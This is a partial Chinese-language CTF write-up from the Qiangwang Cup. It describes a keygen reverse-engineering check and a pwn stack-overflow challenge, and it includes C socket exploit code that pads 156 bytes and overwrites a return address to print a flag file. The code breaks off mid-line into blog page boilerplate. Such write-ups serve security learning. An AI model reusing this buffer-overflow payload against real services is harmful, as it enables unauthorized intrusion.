强网杯ctf pwn&re writeup (部分)

打了2天的强网杯,虽然一度冲进了前10。可惜最后的时候还是掉出了20名。最后只能无奈打出GG。其中的原因有很多,也不想多说了。
逆向溢出题3连发。我就只会那么多了Orz
先来一道re200

kergen

发送24位的字符串,主要是400B56处的检验函数。检验方法是这样的先是发送字符的第1 10 7 11 2 13 16 17位,中间插入43917202。然后MD5,然后转化成32位字符串形式,然后把前16位字符按ascii码转化成整数字符串。就是一个sprintf(“%d”,char)这样,再去掉其中的所有0,然后转化后的字符串第5至12位和发送字符串第15 12 18 0 6 8 5 3位相同。
再然后字符串的4 9 12 19 位必须是‘-’,然后发送10次,每次不一样。还好字符串最后4位没有要求,随便凑就好<–其实好像是出题的bug了或者是后面降低难度加上的最后4位

额,这题还要啥脚本,手算都出来了。

然后是一题pwn100

guess

题目非常的简单。无限读取到栈上什么的最棒了。但是题目没有给libc,可以leak出libc加载的基地址。但是不知道system函数的地址。
这里需要脑洞,自动脑补服务器端程序根目录下就有个文件flag。恩,一定是这样的。
那么就是溢出后控制程序跳转到打印文件的函数,然后flag这个文件名可以在最后的scanf接收到堆中。
代码如下:


// ConsoleApplication1.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include<winsock2.h> 
#include<stdio.h> 
#include <Windows.h>

#pragma comment(lib,"ws2_32.lib") 
int main (void)
{ 
    int i;
    WSADATA wsaData; 
    SOCKET sockClient;
    SOCKADDR_IN addrServer;
    char    recvBuf[5000]={0};
    WSAStartup(MAKEWORD(2,2),&wsaData); 
    sockClient=socket(AF_INET,SOCK_STREAM,0); 

    addrServer.sin_addr.S_un.S_addr=inet_addr("119.254.101.197"); 
    addrServer.sin_family=AF_INET; addrServer.sin_port=htons(10000);
    connect(sockClient,(SOCKADDR*)&addrServer,sizeof(SOCKADDR)); 

    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);
    recv(sockClient,recvBuf,1000,0);
    printf("%s",recvBuf);
    printf("\n*****************************************************************\n");
    for(i=0;i<1000;recvBuf[i]=0,i++);


    char message[2000];
    for(i=0;i<156;i++)
        message[i]='x';

    message[156]='0x30';
    message[157]='0x88';
    message[158]='0x04';
    message[159]='0x08';
    message[160]='x';
    message[161]='x';
    message[162]='x';
    message[163]='x';
    mess
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值